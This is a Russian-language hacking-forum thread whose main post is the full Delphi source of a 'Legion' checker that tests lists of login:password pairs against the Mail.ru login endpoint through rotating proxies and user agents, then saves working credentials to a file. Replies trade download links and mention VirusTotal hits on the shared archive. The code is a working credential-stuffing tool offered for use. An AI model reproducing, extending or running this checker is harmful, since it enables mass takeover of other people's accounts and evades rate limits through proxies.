1. Привет Гость, в нашем магазине проходит акция! Смотри эту тему.
    Так же цена на VIP снижена!

Исходник чекера легион - по форме 1

Тема в разделе "Программирование", создана пользователем Steff25, 4 июн 2014.

  1. Оффлайн

    Steff25 Лейтенант

    На форуме с:
    5 янв 2014
    Сообщения:
    465
    Симпатии:
    809
    Баллы:
    153
    Если нужно скину полностью !!!!!!!
    ПОМОГ - СТАВЬ СЯБУ !!!!!!!!

    Код:
    unit Unit1;
     
    interface
     
    uses
      Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
      Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, sMemo, sLabel, sComboBox,
      sEdit, sSpinEdit, sGauge, Vcl.Buttons, sBitBtn, sGroupBox, sSkinManager, SyncObjs,ShellApi,
      IdTCPConnection, IdTCPClient, IdHTTP, IdCustomTransparentProxy, IdSocks,
      IdBaseComponent, IdComponent, IdIOHandler, IdIOHandlerSocket,
      IdIOHandlerStack, IdSSL, IdSSLOpenSSL, sCheckBox, Vcl.ExtCtrls,clipbrd,
      sRadioButton, IdAntiFreezeBase,regexpr,md5, Vcl.IdAntiFreeze, sButton, IdCookieManager,
      acPNG;
     
    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        sGroupBox1: TsGroupBox;
        sBitBtn1: TsBitBtn;
        sBitBtn2: TsBitBtn;
        sBitBtn3: TsBitBtn;
        sGauge1: TsGauge;
        sGroupBox3: TsGroupBox;
        sLabelFX3: TsLabelFX;
        sLabelFX4: TsLabelFX;
        sLabelFX5: TsLabelFX;
        sLabelFX6: TsLabelFX;
        sLabelFX7: TsLabelFX;
        source: TsLabelFX;
        check: TsLabelFX;
        goodlabel: TsLabelFX;
        badlabel: TsLabelFX;
        errorlabel: TsLabelFX;
        sGroupBox4: TsGroupBox;
        sMemo1: TsMemo;
        OpenDialog1: TOpenDialog;
        IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
        IdSocksInfo1: TIdSocksInfo;
        IdHTTP1: TIdHTTP;
        sLabelFX8: TsLabelFX;
        proxylabel: TsLabelFX;
        Timer1: TTimer;
        IdAntiFreeze1: TIdAntiFreeze;
        sButton1: TsButton;
        s: TIdCookieManager;
        sLabel1: TsLabel;
        sLabel2: TsLabel;
        sEdit2: TsEdit;
        sMemo2: TsMemo;
        sGroupBox2: TsGroupBox;
        sLabelFX1: TsLabelFX;
        sComboBox1: TsComboBox;
        sSpinEdit1: TsSpinEdit;
        sCheckBox2: TsCheckBox;
        sEdit1: TsEdit;
        sButton2: TsButton;
        sGroupBox5: TsGroupBox;
        sCheckBox1: TsCheckBox;
        sEdit3: TsEdit;
        StaticText3: TStaticText;
        StaticText4: TStaticText;
        StaticText1: TStaticText;
        procedure sBitBtn1Click(Sender: TObject);
        procedure sBitBtn2Click(Sender: TObject);
        procedure sBitBtn3Click(Sender: TObject);
        procedure sBitBtn4Click(Sender: TObject);
        procedure FormClose(Sender: TObject; var Action: TCloseAction);
        procedure sButton1Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
      private
     
      public
        { Public declarations }
      end;
     
      TNewThread = class(TThread)
      private
      FAcc : string;
      FPas : string;
      IP  : string;
      Port : string;
      token,games,games2,lvl,lvl2:string;
      Rez  : Integer;
      protected
        procedure Execute; override;
      public
        procedure Sync;
        constructor Create(CreateSuspended: Boolean);
      end;
     
    var
      Form1: TForm1;
      Accounts, Proxy:Tstringlist;
      Thread, Acc:integer;
      Work:boolean;
      CS:TcriticalSection;
      GoodFile, BadFile,noblnc: textfile;
      tp:integer;
      k,ppssum,ppsvalue:integer;
     
        UserAg: array [0..10] of string=(
        'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1',
        'Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable',
        'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19',
        'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload 3.0',
        'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104',
        'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)',
        'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)',
        'Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3',
        'Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01',
        'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)',
        'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
      );
     
    implementation
     
    {$R *.dfm}
     
    uses Unit2;
     
    function Pars(T_, ForS, _T:string):string;
    var a, b:integer;
    begin
    Result := '';
    if (T_='') or (ForS='') or (_T='') then Exit;
    a:=Pos(T_, ForS);
    if a=0 then Exit else a:=a+Length(T_);
    ForS:=Copy(ForS, a, Length(ForS)-a+1);
    b:=Pos(_T, ForS);
    if b>0 then
    Result:=Copy(ForS, 1, b - 1);
    end;
     
        function GetComputerNetName: string;
    var
      buffer: array[0..255] of char;
      size: dword;
    begin
      size := 256;
      if GetComputerName(buffer, size) then
        Result := buffer
      else
        Result := ''
    end;
     
    function getKey(Serial: string):string;
    begin
      Result := MD5DigestToStr(MD5String(Serial));
      Result := MD5DigestToStr(MD5String(Result));
    end;
     
     
     
    constructor TNewThread.Create(CreateSuspended: Boolean);
    begin
      inherited Create(CreateSuspended);
    end;
     
    procedure TNewThread.Execute;
    var CurAcc:integer;
        data:Tstringlist;
        HTTP: TIdHTTP;
        SSL:TIdSSLIOHandlerSocketOpenSSL;
        SOCKS: TIdSocksInfo;
        s,s2:string;
        stream : tstringlist;
        cook:tidcookiemanager;
    begin
    while Work do
      begin
      CS.Enter;
      Inc(Acc);
      inc(PPSValue);
      if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
      inc(tp);
    if tp=Proxy.Count-1 then tp:=0;
      CS.Leave;
      if Work then
        begin
    HTTP := TIdHTTP.Create(nil);
    http.HandleRedirects:=false;
    cook:=TIdCookieManager.Create(http);
    SSL:=TIdSSLIOHandlerSocketOpenSSL.Create;
    ssl.Port:=433;
    http.Request.UserAgent:=UserAg[random(10)];
    http.IOHandler:=ssl;
      if Proxy.Text = '' then sleep(0) else
              if Form2.sComboBox1.Text='http/https' then
    begin
        IP:=Copy(Proxy[tp], 1, Pos(':',Proxy[tp])-1); //Копируем адрес
        PORT:=Copy(Proxy[tp], Pos(':', Proxy[tp])+1, Length(Proxy[tp])); //Копируем порт
          http.ProxyParams.ProxyServer:=IP;
          http.ProxyParams.ProxyPort:=strtoint(PORT);
    end;
    if Form2.sComboBox1.Text='socks4' then
    begin
    SOCKS:=TIdSocksInfo.Create;
    SOCKS.Version:=svSocks4;
    SOCKS.Host:=Copy(Proxy[tp],1,Pos(':',Proxy[tp])-1);
    SOCKS.Port:=StrToInt(Copy(Proxy[tp],Pos(':',Proxy[tp])+1,Length(Proxy[tp])));
    SOCKS.Authentication:= saNoAuthentication;
    SSL.TransparentProxy:=SOCKS;
    end;
    if Form2.sComboBox1.Text='socks5' then
    begin
    SOCKS:=TIdSocksInfo.Create;
    SOCKS.Version:=svSocks5;
    SOCKS.Host:=Copy(Proxy[tp],1,Pos(':',Proxy[tp])-1);
    SOCKS.Port:=StrToInt(Copy(Proxy[tp],Pos(':',Proxy[tp])+1,Length(Proxy[tp])));
    SOCKS.Authentication:= saNoAuthentication;
    SSL.TransparentProxy:=SOCKS;
    end;
          if pos(':', Accounts[CurAcc])<>0 then
        begin
          FAcc:=Copy(Accounts[CurAcc], 1, Pos(':',Accounts[CurAcc])-1); //Копируем логин
          FPas:=Copy(Accounts[CurAcc], Pos(':', Accounts[CurAcc])+1, Length(Accounts[CurAcc])); //Копируем пароль
        end
        else
          begin
          FAcc:=Copy(Accounts[CurAcc], 1, Pos(';',Accounts[CurAcc])-1);
          FPas:=Copy(Accounts[CurAcc], Pos(';', Accounts[CurAcc])+1, Length(Accounts[CurAcc]));
        end;
        try
    HTTP.Get('https://auth.mail.ru/cgi-bin/auth?page=http://games.mail.ru/&post=&login_from=&lang=&setLang=&Login='+FAcc+'&Password='+FPas+'&saveauth=1&new_auth_form=1');
    if Pos('Set-Cookie: Mpop=', http.Response.RawHeaders.Text)<>0 then
    begin
    s:=http.Get('http://games.mail.ru/');
    token:=pars('"Photobox":"/mail/',s,'/"');
    s:=http.Get('http://games.mail.ru/profile/mail/'+token+'/games/?from=main_profile');
    games:=pars('<nobr>Мои игры</nobr><i class="num">',s,'</i>');
    lvl:=pars('<div class="level">',s,'</div>');
    lvl2:=pars('<div class="level-txt">',s,'</div>');
      if form2.sCheckBox2.Checked=true then
    begin
      if Pos(form2.sEdit1.Text,s)<>0 then
      begin
        games2:=form2.sEdit1.Text+' => Игра найдена';
      end
      else
      begin
        games2:='Игра не найдена.';
      end;
    end;
    if strtoint(games)>0 then
    Rez:=1
    end
    else
    rez:=-1
    except
    rez:=0
        end;
        end;
          HTTP.Free;
        Synchronize(Sync);
        end;
    dec(Thread);
    if Thread=0 then MessageDlg('The end.',mtWarning,[mbOK],0);
    end;
     
    procedure TNewThread.Sync;
    begin
    case Rez of
      1:begin
      if games='0' then
      begin
      Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1);
      end
      else
      begin
      Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1);
          Append(GoodFile);
          Writeln(GoodFile,FAcc+':'+FPas);
          close(goodfile);
          form1.smemo1.lines.add(FAcc+':'+FPas);
      end;
          Form1.check.Caption:=IntToStr(StrToInt(Form1.check.Caption)+1);
          Form1.sGauge1.Progress:=Form1.sGauge1.Progress+1;
      end;
      0:begin
          Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1);
          Form1.check.Caption:=IntToStr(StrToInt(Form1.check.Caption)+1);
          Form1.sGauge1.Progress:=Form1.sGauge1.Progress+1;
        end;
        -1:begin
    Accounts.Add(FAcc+':'+FPas);
    Form1.errorlabel.Caption:=IntToStr(StrToInt(Form1.errorlabel.Caption)+1);
        end;
    end;
    end;
     
    procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
    begin
    Accounts.Free;
    CS.Free;
    end;
     
    procedure TForm1.FormCreate(Sender: TObject);
    var
    hddid:string;
    data:Tstringlist;
    Way, StrTime,save:string;
    i:integer;
    begin
    sMemo2.Text:=(GetComputerNetName);
    sMemo2.Text:=getKey(sMemo2.Text);
    Accounts:=Tstringlist.create;
    Proxy:=TstringList.Create;
    CS:=TcriticalSection.create;
    form1.sEdit2.Text:=(GetComputerNetName);
    form1.sEdit2.Text:=getKey(sMemo2.Text);
    form1.Sedit2.Clear;
    begin
    try
    hddid:=IdHTTP1.get('http://legioni2.ucoz.ru/WarfaceChecker/'+form1.sMemo2.Text+'.txt');
    except
    end;
    if IdHTTP1.ResponseCode = 404 then
    begin
    ShowMessage('Программа успешно зарегистрирована!');
    form1.smemo1.Lines.SaveToFile(extractFilepath(application.ExeName)+smemo2.text+'.txt');
    end
    else
    begin
    try
    except
    end;
    if IdHTTP1.ResponseCode = 404 then
    begin
    ShowMessage('Программа успешно зарегистрирована!');
    end
    else
    begin
    ShowMessage('Программа успешно зарегистрирована!');
    form1.Show;
    idhttp1.free;
    data.Free;
    end;
    end;
    end;
    end;
     
     
     
    procedure TForm1.sBitBtn1Click(Sender: TObject);
    begin
    OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
    if OpenDialog1.Execute then
      begin
      Accounts.Clear;
      Accounts.LoadFromFile(OpenDialog1.FileName);
      end;
      form1.source.Caption:=inttostr(Accounts.Count);
    end;
     
    procedure TForm1.sBitBtn2Click(Sender: TObject);
    begin
    OpenDialog1.FileName:='';
    OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
    if OpenDialog1.Execute then
      begin
      Proxy.Clear;
      Proxy.LoadFromFile(OpenDialog1.FileName);
      end;
      proxylabel.Caption:=inttostr(Proxy.Count);
    end;
     
    procedure TForm1.sBitBtn3Click(Sender: TObject);
    var
    Way, StrTime:string;
    i:integer;
    begin
    StrTime:=TimeToStr(Time);
    for i:=1 to Length(StrTime)  do
    if StrTime=':' then  StrTime:='_';
    begin
    sMemo1.Clear;
    Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'Good_'+strtime+'.txt');
    Rewrite(GoodFile);
    Closefile(GoodFile);
    GoodLabel.Caption:='0';
    BadLabel.Caption:='0';
    Errorlabel.Caption:='0';
    check.Caption:='0';
    sGauge1.MaxValue:=Accounts.Count;
    form1.sGauge1.Progress:=0;
    Acc:=-1;
    tp:=-1;
    Work:=true;
    for Thread:=1  to strtoint(form2.sSpinEdit1.Text) do
      TNewThread.Create(false);
    Thread:=strtoint(form2.sSpinEdit1.Text);
    end;
    end;
     
    procedure TForm1.sBitBtn4Click(Sender: TObject);
    begin
    Work:=false;
    end;
     
    procedure TForm1.sButton1Click(Sender: TObject);
    begin
    form2.ShowModal;
    end;
     
     
    procedure TForm1.sButton2Click(Sender: TObject);
    begin
    work:=false;
    end;
     
    procedure TForm1.Timer1Timer(Sender: TObject);
    var
    PPS,PPS2 : string;
    begin
    PPS:=FloatToStr(PPSValue*1000/Timer1.Interval);
    PPSSum:=PPSSum+strtoint(PPS);
    inc(k);
    PPSValue:=0;
    PPS2:=FloatToStr(PPSSum/k);
    if length(PPS2)>4 then delete(PPS2,5,length(PPS2));
    slabel2.Caption:=PPS+'/'+PPS2;
    end;
     
    end.
     
    denis7656 и 12345dimas нравится это.
  2.  
  3. Оффлайн

    denis7656 рядовой

    На форуме с:
    5 сен 2014
    Сообщения:
    1
    Симпатии:
    0
    Баллы:
    1
    Пол:
    Мужской
    Да, скинь пожалуйста полностью.
     
  4. Оффлайн

    Steff25 Лейтенант

    На форуме с:
    5 янв 2014
    Сообщения:
    465
    Симпатии:
    809
    Баллы:
    153
    в скайпе скину добовляйся
     
  5. Оффлайн

    Luna_inc

    На форуме с:
    13 мар 2013
    Сообщения:
    264
    Симпатии:
    182
    Баллы:
    70
    Пол:
    Мужской
    skype:
    luna.fast
    Добавь в скайпе)
     
  6. Оффлайн

    Steff25 Лейтенант

    На форуме с:
    5 янв 2014
    Сообщения:
    465
    Симпатии:
    809
    Баллы:
    153

    download+
     
    denis7656 нравится это.
  7. Оффлайн

    Steff25 Лейтенант

    На форуме с:
    5 янв 2014
    Сообщения:
    465
    Симпатии:
    809
    Баллы:
    153

    download+
     
  8. Оффлайн

    Steff25 Лейтенант

    На форуме с:
    5 янв 2014
    Сообщения:
    465
    Симпатии:
    809
    Баллы:
    153
    написано на дэльфи и не жалуемся что там нет кнопок кто знает по коду что и где должно быть ставим сами , у вас и так готовый код полностью download+
     
  9. Оффлайн

    Steff25 Лейтенант

    На форуме с:
    5 янв 2014
    Сообщения:
    465
    Симпатии:
    809
    Баллы:
    153
    вт по рг ссылке virus total
    вт архива на прямую virus total

    такое ощущение как будто рг хост сам вирусы добовляет , я хз знаю по чему так - сами разберётесь !!!
     
    denis7656 нравится это.
  10. Оффлайн

    game.exe.exe.exe первый сержант

    На форуме с:
    3 июн 2014
    Сообщения:
    170
    Симпатии:
    140
    Баллы:
    43
    Пол:
    Мужской
    Kapipast slito s ch****.ru
     

Поделиться этой страницей

Уважаемый пользователь!

Мы обнаружили, что вы блокируете показ рекламы на нашем сайте.

Просим внести его в список исключения или отключить AdBlock.

Наши материалы предоставляются БЕСПЛАТНО и единственным доходом является реклама.

Спасибо за понимание!